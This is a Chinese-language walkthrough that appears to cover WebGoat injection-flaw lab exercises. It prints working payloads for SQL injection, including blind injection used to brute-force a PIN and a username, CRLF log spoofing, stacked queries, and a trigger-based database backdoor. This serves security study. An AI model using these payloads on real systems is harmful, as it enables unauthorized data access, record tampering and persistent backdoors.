Injection Flaws-
整个一章都在讲注入,由于注入的手段基本类似,主要是两点
- 提前闭合正常代码,输入恶意代码
- 处理由于闭合正常代码留下的尾巴
Injection Flaws-Command Injection
这个的意思是进行命令行注入,因为有些操作后台都是通过命令行完成的,所以可以尝试输入Shell指令来进行注入,但是它喵的我按照它说的来怎么都完成不了……
Injection Flaws-Numeric SQL Injection
数字SQL注入,这里说的一个SQL语句
SELECT * FROM weather_data WHERE station = [station]
可以拦截报文将station字段后补充
101 OR 1=1
整个语句就变成了
SELECT * FROM weather_data WHERE station = 101 OR 1=1
由于1=1恒成立,所以会遍历出所有的数据库表单
Injection Flaws-Log Spoofing
日志伪造,这里是攻击者发现了日志生成的规则,通过注入恶意字符串,按照规则伪造出一条日志,在Username输入
Smith%0d%0aLogin Succeeded for username: admin
其中%0d和%0a为CRLF换行符,看到的输出为
Login failed for username: Smith
Login Succeeded for username: admin
其实第二行完全是伪造出来的
Injection Flaws-String SQL Injection
字符串注入,由于字符串是由’’包裹起来的,所以要注意格式,和数字注入原理一样
Erwin' OR '1'='1
SQL拼接出来的结果是
SELECT * FROM user_data WHERE last_name = 'Erwin' OR '1'='1'
Injection Flaws-LAB: SQL Injection
Stage1-4
其实还是展现了数字和字符串不同的注入方法,对password进行拦截,然后使用字符串注入,可以登录任意账户.
剩下的我并没有做出来,也没有Solution,感觉题目坏掉了..
Injection Flaws-Database Backdoors
利用SQL输入插入后门,首先是一个SQL注入点,可以通过数字注入看到所有人的薪水,然后使用以下SQL指令可以修改薪水
101; update employee set salary=10000
更加高级的是插入后门,下边这个后门好象是创建新用户的时候会自动修改邮箱为你的邮箱
CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
Injection Flaws-Blind Numeric SQL Injection
数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注.
比如我们知道一个cc_number=1111222233334444,但是想知道其pin在pins table里的值,可以使用盲注进行爆破,输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
对10000进行1-10000步长为1的爆破,可以发现返回报文的长度在2364和2365改变了…尝试用=2364进行请求,返回成功.那么其pin就为2364
Injection Flaws-Blind String SQL Injection
字符串盲注,猜测cc_number=’4321432143214321’的用户名,使用了SQL里的SUBSTRING这个函数,每一个字母进行爆破,原理和数字盲注一样,但是这里爆破有一点小技巧
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
爆破技巧
这里有两个爆破点,一个是SubString的第二个参数,一个是字母h,所以使用Cluster Bomb进行爆破
- 爆破点1 是1-10 10个可能性
- 爆破点2 是a-z和A-Z 52个可能性
那么一共就是520次可能性,Intruder的设置如下
可以看到报文有两种结果1333 1334,其中第一个爆破点为10的都是1334,而有一些不是,查看返回报文发现有两种
Invalid account number
Account number is valid
爆破点1=10返回报文为1334是因为10比1-9多一位,那么对正确的报文进行搜索Fliter,得到结果
用户名爆破成功